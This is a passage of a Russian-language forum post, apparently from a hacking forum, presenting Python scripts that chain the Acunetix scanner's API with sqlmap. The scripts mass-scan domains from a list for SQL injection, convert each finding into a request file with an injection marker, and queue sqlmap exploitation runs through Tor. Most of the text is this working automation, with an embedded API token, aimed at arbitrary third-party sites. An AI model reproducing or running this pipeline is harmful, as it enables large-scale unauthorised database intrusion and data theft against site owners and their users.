def create_targets(self, targets, groups=[]):
# К API url добавляем ендпоинт
endpoint = self.url + 'targets/add'
# Формируем JSON-объект для тела запроса
data = {
"targets": targets,
"groups": groups
}
# Выполняем метод POST и возвращаем JSON-объект с массивом созданных таргетов
created_targets = self.post_request(endpoint=endpoint, data=data)
return created_targets
# Ищет цель в Acunetix по текстовому запросы
# На входе text - строка вида "*domain.com" или другая строка с модификатором поиска
# Метод формирует правильный endpoint API и делает GET-запрос через get_request
# Возвращает массив JSON-объектов
def get_target_by_text_search(self, text):
endpoint = self.url + 'targets?q=text_search:' + text + ';'
profiles = self.get_request(endpoint=endpoint)
return profiles
# Получает список групп целей в Acunetix
# Метод формирует правильный endpoint API и делает GET-запрос через get_request
# Возвращает массив JSON-объектов
def get_target_groups(self):
endpoint = self.url + 'target_groups'
profiles = self.get_request(endpoint=endpoint)
return profiles
# Ищет таргет в Acunetix по адресу таргета
# Метод формирует правильный endpoint API и делает GET-запрос через get_request
# на входе search_domain - строка вида "https://domain.com"
# Возвращает массив JSON-объектов
def search_target_by_domain(self, search_domain):
endpoint = self.url + 'targets?q=text_search:*' + search_domain + ';'
targets = self.get_request(endpoint=endpoint)
return targets
# Проверяет существует ли таргет с таким же адресом в Acunetix
# Нужен чтобы избежать дублирования целей
# на входе search_domain - строка вида "https://domain.com"
# Метод является оберткой для search_target_by_domain(search_domain), после вызова которого
# проверяет длинну массива таргетов. Если таргетов нет, возвращает False (можно добавлять)
# Иначе возвращает True, что означает возможность дублирования таргета
def check_target_exists(self, search_domain):
targets = self.search_target_by_domain(search_domain=search_domain)
if len(targets['targets']):
return True
return False
# Создает новое сканирование в Acunetix
# На входе target_id (строка идентификатор таргета в Acunetix) и profile_id (профиль сканирования)
# Метод формирует правильный endpoint API, подготавливает данные для тела запроса,
# вызываея prepare_scan_data и делает POST-запрос через get_request
# Возвращает JSON-объект
def create_scan(self, target_id, profile_id):
endpoint = self.url + 'scans'
data = self.prepare_scan_data(target_id=target_id, profile_id=profile_id)
scan = self.post_request(endpoint=endpoint, data=data)
return scan
# Получает из Acunetix API сканирования в соответствии с параметром status
# status - строка, например "processing"
# Метод формирует правильный endpoint API и делает GET-запрос через get_request
# Возвращает массив JSON-объектов
def get_scans_in_status(self, status):
endpoint = self.url + 'scans?q=status:' + status + ';'
scans = self.get_request(endpoint=endpoint)
return scans
# Получает из Acunetix API активные сканирования (в статусе processing)
# Метод формирует правильный endpoint API и делает GET-запрос через get_request
# Возвращает массив JSON-объектов
def get_scans_in_progress(self):
endpoint = self.url + 'scans?q=status:processing' + ';'
scans = self.get_request(endpoint=endpoint)
return scans
# Получает уязвимости из Acunetix API с использованием фильтров
# Метод формирует правильный endpoint API и делает GET-запрос через get_request
# Получает входные параметры полностью копирующие параметры метода API
# c query string false Cursor indicating which index is the head of the next batch of elements (generally coupled with a limit).
# l query integer false Maximum number of items returned. Parameter defaults to 100 if not passed. Limit ranges accepted are less than 100 or greater than 1 (1 < limit < 100).
# q query string(search) false Query to filter results based on a number of filters.
# s query string false none
# Возвращает массив JSON-объектов
def get_vulnerabilities(self, c='', l='', q='', s=''):
endpoint = self.url + 'vulnerabilities?'
if c:
endpoint += 'c=' + c
if l:
endpoint += 'l=' + l
if q:
endpoint += 'q=' + q
if s:
endpoint += 's=' + s
print(endpoint)
scans = self.get_request(endpoint=endpoint)
return scans
# Обертка метода API, возвращающего детальное описание уязвимости по идентификаторв
# Принимает vuln_id - идентификатор уязвимости "3339540470580643701"
# Выполняет GET-запрос методом get_request
# Возвращает JSON-объект уязвимости с детальным описанием
def get_vulnerability_details(self, vuln_id):
endpoint = self.url + 'vulnerabilities/' + vuln_id
vulnerability = self.get_request(endpoint=endpoint)
return vulnerability
# Обертка для метода API для поиска типа уязвимостей по текстовому вводу
# На входе text - значение подставляемое в запрос, например "*sql%20injection"
# важно, чтобы в text присутствовала звездочка "*", иначе будет ошибка
# Возвращает массив JSON-объектов Vulnerability Type из Acunetix
def get_vulnerability_types_by_text_search(self, text):
endpoint = self.url + 'vulnerability_types?q=text_search:' + text + ';'
profiles = self.get_request(endpoint=endpoint)
return profiles
# Функция обновляет значение status у уязвимости в Acunetix
# На входе vuln_id (строка с идентификатором уязвимости)
# status (строка статуса: open, fixed, ignore...)
# Функция подготавливает верный endpoint API и объект для тела запроса
# Ничего не возвращает
def set_vulnerability_status(self, vuln_id, status):
endpoint = self.url + 'vulnerabilities/' + vuln_id + '/status'
data = {"status": status}
vulnerability = self.put_request(endpoint=endpoint, data=data)
return
##########################################################
# END Acunetix API Methods
##########################################################
# Функция возвращает идентификатор типа уязвимости SQL Injection
# Через функцию-обертку метода get_vulnerability_types_by_text_search()
# выполняется запрос с текстовым фильтром *sql%20injection
# Получив массив JSON-объектов, производится фильтрация и возвращается идентификатор
def get_vulnerability_type_sqli(self):
types = self.get_vulnerability_types_by_text_search('*sql%20injection')
vuln_sqli_type = [x for x in types['vulnerability_types'] if x['name'] == "SQL Injection"][0]
return vuln_sqli_type['vt_id']
# Функция возвращает все объекты Vulnerability из Acunetix, которые имеют статус open и
# тип уязвимости SQL injection
# При помощи get_vulnerability_type_sqli() узнаем идентификатор типа SQL Injection в Acunetix
# После делается запрос на получение get_vulnerabilities() с фильтром по статусу и типу
# Возвращает массив JSON-объектов Vulnerability
def get_sqli_vulnaribility(self):
vuln_type_id = self.get_vulnerability_type_sqli()
vulnerabilities = self.get_vulnerabilities(q='status:open;vt_id:' + vuln_type_id + ';')
return vulnerabilities
# Тоже, что и get_sqli_vulnaribility()
# Но на входе принимает id типа уязвимости и status - статус уязвимости в Acunetix (open, fixed, ignore...)
def get_vulnerabilites_by_id_and_status(self, id, status):
endpoint = self.url + 'vulnerabilities?q=vt_id:' + id + ';status=' + status + ';'
scans = self.get_request(endpoint=endpoint)
return scans
# Функция проверяет можно ли добавлять новое сканирование исходя из указанного пользователем лимита
# Похожа на get_active_scans_limit(maximum=7), но вместо количества возвращает True или False
def has_active_scans_limit(self, maximum=7):
scans = self.get_scans_in_progress()
if scans['pagination']['count'] < maximum:
return True
else:
return False
# Узнаем сколько можно добавить новых сканирований исходя из лимита пользователя
# На входе maximum (число, по умолчанию 7) - указанное пользователем максимальное значение
# сколько одновременно сканирований тянет Acuntix на вашей машине
# При помощи функции get_scans_in_progress() получаем количество активных сканирований
# Далее из максимума вычитается количество активных сканирований, результат возвращается
def get_active_scans_limit(self, maximum=7):
scans = self.get_scans_in_progress()
return maximum - scans['pagination']['count']
# Функция получает идентификатор профиля сканирования SQL Injection
# На входе ничего, на выходе идентификатор вида "11111111-1111-1111-1111-111111111113"
# Сначала получаем все профили сканирования из Acunetix функцией get_scaning_profiles()
# После циклом проходим и проверяем значение name
def get_scaning_profile_sqli(self):
profile = [x for x in self.get_scaning_profiles()['scanning_profiles'] if x['name'] == 'SQL Injection'][0]
return profile['profile_id']
# Функция очистки списка доменов от дублирующих значений. Нужна для избегания дублирования таргетов в Acunetix
# На входе список доменов в переменной domains ['https://domain.com', ...]
# Цикл проходит по всем адресам, передавая их функции check_target_exists(domain)
# Если функция вернула False (таргета с таким адресом нет в Acunetix), пополняем список уникальных доменов
# Иначе список дублей
# Функция возвращает список из двух массивов: уникальные и дублирующиеся
def clear_domains_exists(self, domains):
dubbed_domains = []
unique_domains = []
for domain in domains:
if not self.check_target_exists(domain):
unique_domains += [domain]
else:
dubbed_domains += [domain]
return unique_domains, dubbed_domains
# Подготовка массива доменов для добавления множества таргетов в Acunetix
# На входе domains - массив с URL таргетов ['https://domain.com',...], description (строка) - описания объектов для Acunetix
# В описание, например, можно добавить текущую дату и после использовать ее для фильтрации #
# Возвращает массив объектов готовых к добавлению в Acunetix:
# [{'address':'https://domain.com', 'description':'description', 'type':'default', 'criticality':10},...]
def prepare_targets_json(self, domains, description = ''):
targets = [{'address':x, 'description':description, 'type':'default', 'criticality':10} for x in domains ]
return targets
# Подготовка объекта сканирования для добавления в Acunetix
# На входе tagret_id (строка) - идентификатор таргета из Acunetix
# profile_id (строка) - идентификатор профиля словаря из справочника Acunetix
# Входные данные оборачиваются в объект и возвращаются
def prepare_scan_data(self, target_id, profile_id):
return {
"target_id": target_id,
"profile_id": profile_id,
"incremental": False,
"schedule": {
"disable": False,
"time_sensitive": False
}
}
Вспомогательные скрипты
Перед тем, как перейти к основному, давайте взглянем на важные, но не самые интересные скрипты. В принципе, file_utils.py можно было бы вообще проигнорировать. Там всего 4 функции работающих с файлами и не делающих ничего сверхестественного. Но раз уж выкладываю весь код здесь, вот код file_utils.py
Python:
def get_first_lines_and_delete(filename, num_lines):
with open(filename, 'r') as fin:
data = fin.read().splitlines(True)
with open(filename, 'w') as fout:
fout.writelines(data[num_lines:])
return data[:num_lines]
def append_array_to_file(filename, array_vals):
with open(filename, "a") as f:
for val in array_vals:
f.write(val)
def append_str_to_file(filename, str):
with open(filename, "a") as f:
f.write(str)
def write_str_to_file(filename, str):
with open(filename, "w") as f:
f.write(str)
В sqli_params.py же, лежит достаточно важный код. А именно тот, что отвечает за правильный перевод ответа API Acunetix к данным готовым для построения команды запуска SQLMAP.
Acunetix, методом Vulnerability Detail, возвращает объект в котором нам интересны три свойства. В основном, это “details” и “request”. Свойство “affects_detail” хранит в себе название уязвимого параметра, но мы его спокойно получим из “details”.
Как понятно из названий свойств, в “requests” хранится тот самый запрос, который прекрасно сработал при сканировании окунем. Свойство этого поля, почти неизменным сохранится в файл, чтобы потом использоваться при запуске sqlmap с параметром “-r”. Единственное серьезное преобразование requests - это замена пэйлоада на макрос %INJECT HERE%. Просто поможем sqlmap быстрее найти уязвимость.
В целом, на этом и заканчивается работа sqli_params.py. Получили данные, распарсили и вернули в более удобном виде. Код не сложный и весь в комментариях. Ниже я еще вернусь к нюансам при обработке деталей уязвимости.
Python:
import re
from urllib.parse import unquote
import html
# Функция возвращает значение для --technique SQLMAP
# Пока только для Time-Base "T" и Boolean-based "B", либо пустое значение
# Принимает attribs - массив строк ["10.110",...] или ['True', 'False'...]
def get_ingection_type_by_attribs(attribs):
if attribs[0] == 'True' or attribs[0] == 'False':
return 'B'
elif len(re.findall("[0-9.]", attribs[0]))==len(attribs[0]):
return 'T'
return ''
# Функция принимает свойства details и request объекта Vulnerability из Acunetix API
# Возвращает готовые параметры для строки запуска SQLMAP и файла с запросом
def get_injection_params(details_text, request_text):
# Тип инъекции, потребуется позже
injecton_type = ''
# Значения всех стронгов (уязвимый параметр, инъекция и параметры сигнализирующие об уязвимости)
strong = re.findall(r"(?<=<strong>).*?(?=<\/strong>)", details_text)
# Выделяем название параметра, хотя его можно получить прямо из объекта уязвимости свойство affects_detail
param_name = re.findall(r"(?<=>).*?(?=<)", strong[0])[0]
# Пэйлоад, который сработал
payload = re.findall(r"(?<=>).*?(?=<)", strong[1])[0]
# Аттрибуты ответов, которые указывают на наличие уязвимости, нужны для определения типа функцией get_ingection_type_by_attribs(attribs)
attribs = strong[2:-1]
# Очищаем запрос от html-символов и URL-кодов
request = html.unescape(unquote(request_text))
# Очищаем пэйлоад от html-символов и URL-кодов
payload = html.unescape(unquote(payload))
# Заменяем в запросу пэйлоад на макрос %INJECT HERE%, чтобы SQLMAP понял куда подставлять свои пэйлоады
request = request.replace(payload, "%INJECT HERE%").replace('\r\n', '\n')
# Если есть сообщение об ошибке, то тип инъекции Error-based
if "Error message found" in details_text:
injecton_type = 'E'
else:
# В ином случае, ищем Boolean или Time-based
injecton_type = get_ingection_type_by_attribs(attribs)
# Если параметр вида /[N]-/ и т.п., значит пейлоад встраивается в сам урл
# на практике, подобные запросы у меня срабатывали с Inline-инъекцией, т.е. Q в --technique SQLMAP
if param_name[0] == "/" and param_name[-1] == "/":
injecton_type += 'Q'
# Очищаем имя параметра, чтобы не произошло подстановки в команду через -p параметр
param_name = ''
return payload,request,injecton_type, param_name
Основной скрипт (main.py)
Как и писал в самом начале, первым делом получаем “лимит” на количество сканов, которые можно добавить. Если требуется, то начинаем добавлять таргеты и создавать сканы “SQL Inject”. После этого, проверяем наличие необработанных vulnerabilites. Если есть, то создаем очередь в sqlmap. Думаю, что сильно копаться в главном скрипте нет смысла.
Гораздо интереснее именно работа с найденными уязвимостями, т.к. там есть особенности. К этому и перейдем…
Выгружаем уязвимости из Acunetix в SQLMAP
Получить детали уязвимости не сложно, а вот передать их в SQLMAP правильно, сложнее. Дело в том, что наиболее важные вещи находятся в details и request, а они выглядят достаточно своеобразно. В том плане, что при HTML-выводе они довольно неплохо смотрятся, а вот при парсинге придется попотеть.
Acunetix, к сожалению, не помечает тип SQL-инъекции и это придется делать самостоятельно. Например, по наличию True и False в details, определить boolean-based инъекцию. По цифровому выводу определить Time-based, По наличию “Error message found” определяем error-based.
Второй неудобный момент - это привести Request к нужному виду, выше уже немного касался вопроса. Нужно заменить инъекцию в запросе Acunetix на понятную SQLMAP конструкцию, например на %INJECT HERE%. Мне больше нравится использовать этот макрос, чем “*”.
Плюс ситуации в том, что пейлоад из requests выводится первым в details и обернут в <strong><span class=\"bb-dark\"></span></storng>. Но нужно пейлоады привести к одному виду, тогда без проблем получится их заменить и сохранить правильный запрос для мапа.
Вторая подсказка находится прямо перед нужным пэйлоадом. Acunetix выделяет уязвимый параметр. Это либо стока вида “/[*]-<n>-<s>/”, что означает пэйлоад это часть url. Лио конкретный параметр url или другой части запроса. Минус ситуации в том, что мне попадались далеко не все вариации. Например, не попадались инъекции с payload в User-agent. Так же, ни разу Acunetix не находил мне инъекции с юнион. Хотя, может быть здесь я упускаю из виду пэйлоады состоящие из одних кавычек.
Получаем пэйлоад и уязвимый параметр
В голову пришло два варианта. Первый — использовать регулярное выражение, которое использует особенности вывода первых стронгов. У меня получилось вот такое выражение: /(?<=\">).*?(?=<\/span>)/. Плюс в том, что сразу получаю два нужных значения.
Второй вариант - брать сразу все <strong></strong>, первые два значения чистить от спанов, а в остальных искать признаки типа инъекции. Этот подход мне больше нравится, так как за одну операцию получаем все значения. Хотя, по хорошему разницы большой нет.
В итоге, все эти обработки убрал в sqli_params.py, сделав основной код более-менее чистым:
Python:
import os
import AcunetixAPI
from file_utils import *
from sqli_params import *
# Полный урл к апи Acunetix
API_URL = 'https://127.0.0.1:3443/api/v1/'
# Токен из профиля Acunetix
API_TOKEN = '1986ad8c0a5b3df4d7028d5f3c06e936c0ac1fac3ff7745b7a7aeb08fbe7de500'
# Список таргетов с http и https
FILE_DOMAINS = 'domains.txt'
# В этот файл будут падать дубли таргетов
FILE_DUBBED = 'dubbed_domains.txt'
# Сюда падают данные по неудачным попыткам создать сканироваине
FILE_NON_CREATED_SCANS = 'not_created_scans.txt'
# Директория в которую будут складываться файлф с request, там же файл с командами для запуска SQLMAP и файл запускающий SQLMAP-сканирвоания по очерди
OUTPUT_FOLDER = 'output'
# Имя файла с командами для запуска SQLMAP (простой список)
FILE_SQLMAP_QUEUE = OUTPUT_FOLDER + '/sqlmap_queue.txt'
# Параметры запуска SQLMAP, которые вы считаете необходимым добавлять к каждому сканированию
SQLMAP_DEFAULT_PARAMS = ' --batch --tor --tor-type=SOCKS5 --risk=1 --level=5'
# Создаем объект AcunetixAPI
acunetix = AcunetixAPI.Acunetix(api_url=API_URL, token=API_TOKEN)
#############################################################################
#
# ЧАСТЬ ОТВЕЧАЮЩАЯ ЗА ДОБАВЛЕНИЕ НОВЫХ ТАРГЕТОВ И СОЗДАНИЕ СКАНИРВОАНИЙ
#
#############################################################################
# Получаем доступные лимиты для создания сканирований на основании уже запущенных.
# В данном случае, максимум 7 сканирований одновременно
limit = acunetix.get_active_scans_limit(maximum=7)
if limit>0:
# Получаем идентификатор типа сканирования равного SQL Injection
sqli_profile_id = acunetix.get_scaning_profile_sqli()
# Читаем из файла таргетов нужное количество таргетов
domains = get_first_lines_and_delete(FILE_DOMAINS, limit)
# Очищаем список таргетов от дублей
unique_domains, dubbed_domains = acunetix.clear_domains_exists(domains=domains)
# Сохраняем дубли в файл (не критично, можно убрать)
if len(dubbed_domains):
append_array_to_file(FILE_DUBBED, dubbed_domains)
# Если есть что добавлять, переходим к добавлению. Схема несовершенная, т.к. дубли просто откинутся, при этом
# новые уникальные домены не добавятся. Если это критично, можете переписать
if len(unique_domains):
# Превращаем список домено ['https://domain.com',...] в список объектов, которые примет Acunetix, как таргеты
targets = acunetix.prepare_targets_json(unique_domains, description='test')
try:
# Пробуем создать таргеты через АПИ, если не выйдет, добавляем домены обратно в файл доменов, но в конец
created_targets = acunetix.create_targets(targets=targets)
except Exception as e:
print('Error create target')
append_array_to_file(FILE_DOMAINS, unique_domains)
exit(1)
# Цикл проходится по всем созданным, на предыдущем шаге, таргетам и запускает новые сканирования
for target in created_targets['targets']:
try:
# Передаем таргет функции create_scan, которая сначала подготовит правильный объект
# после вызовет метод апи для создания сканирования
# При ошибке, записываем информацию
scan = acunetix.create_scan(target_id=target['target_id'], profile_id=sqli_profile_id)
print('Created scan id:' + scan["scan_id"])
except Exception as e:
print('Error create scans')
append_str_to_file(FILE_NON_CREATED_SCANS, 'Error with target_id: ' + target['target_id'] + '\n')
else:
print('Файл с доменами пуст!!!')
#############################################################################№№№№№№№№№№№№№№№
#
# ЧАСТЬ ОТВЕЧАЮЩАЯ ЗА ВЫГРУЗКУ НАЙДЕННЫХ УЯЗВИМОСТЕЙ И ФОРМИРОВАНИЕ ОЧЕРЕДИ ДЛЯ SQLMAP
#
#############################################################################№№№№№№№№№№№№№№№
# Получаем все найденные уязвимости с типо SQL Injection и статусом open
vulnerabilities = acunetix.get_sqli_vulnaribility()
for vuln in vulnerabilities['vulnerabilities']:
vuln_id = vuln['vuln_id']
# Запрашиваем расширенное описание уязвимости, т.к. нам нужны свойства details и request, которые соответственно,
# описывают делаи уязвимости и предоставляют правильный запрос
vuln_details = acunetix.get_vulnerability_details(vuln_id=vuln_id)
details_text=vuln_details['details']
request_text=vuln_details['request']
# Чтобы составить правильную команду запуска SQLMAP, нам нужно обработать данные и спарсить оттуда только необходимое
payload,request,injecton_type, param_name = get_injection_params(details_text=vuln_details['details'], request_text=vuln_details['request'])
# Сохраняем request под именем {vuln_id}, чтобы потом передать этот файл SQLMAP через параметр -r
write_str_to_file(OUTPUT_FOLDER + '/' + vuln_id, request)
# Формируем саму команду запуска SQLMAP
sqlmap_command = f"sqlmap -r {vuln_id}"
if param_name:
sqlmap_command += ' -p ' + param_name
if injecton_type:
sqlmap_command += ' --technique=' + injecton_type
sqlmap_command += SQLMAP_DEFAULT_PARAMS
append_str_to_file(FILE_SQLMAP_QUEUE, sqlmap_command)
# В финале, меняем статус найденной уязвимости на fixed, чтобы при следующих запросах он не выдавался нам и не попадал снова на очередь на сканирование
acunetix.set_vulnerability_status(vuln_id=vuln_id, status='fixed')
Итог работы основного скрипта с найденными уязвимостями:
Запуск очереди сканирований SQLMAP
Я хотел это оставить за кадром… но как-то недоделано без скрипта запуска.
Скрипты выше складывают результаты работы в папку output (исхожу из того, что сейчас в коде написано). В этой папке лежат файлы хранящие в себе HTTP-запросы, тут же лежит файл со списком команд запускающих SQLMAP. В ней же я положил файлик sqlmap_scan.py запускающий по очереди сканирования мапой.
Python:
import subprocess
def get_first_lines_and_delete(filename, num_lines):
with open(filename, 'r') as fin:
data = fin.read().splitlines(True)
with open(filename, 'w') as fout:
fout.writelines(data[num_lines:])
return data[:num_lines]
def append_str_to_file(filename, str):
with open(filename, "a") as f:
f.write(str)
file_queue = 'sqlmap_queue.txt'
file_error = 'error_scan.txt'
while True:
sqlmap_command = get_first_lines_and_delete(filename=file_queue, num_lines=1)
return_code = subprocess.call(sqlmap_command, shell=True)
if return_code != 0:
append_str_to_file(filename=file_error, str=sqlmap_command + '\n')
Как видно из кода, скопировал туда две фуккнции для работы с файлами. Сам скрипт просто запускает бесконечный цикл, берет первую строчку из файла с очередью, запускает, дожидается выполнения и возвращается в начало цикла. Тупо? Да. Можно лучше? Да, конечно! Можно, например, добавить хотя бы отлов Ctrl+C, чтобы адекватно обрабатывать прерывание процесса. Но главная задача выполнена. С API Acunetix познакомились, скрипты соединяющие Acunetix с SQLMAP написаны и работают.
Оговорюсь сразу, что не обещаю поддерживать и развивать код. Сейчас это костыль, который как-то выполняет свою функцию. Возможно, продолжу доводить до ума, если будет смысл, но не обещаю.
Вложения
Последнее редактирование:
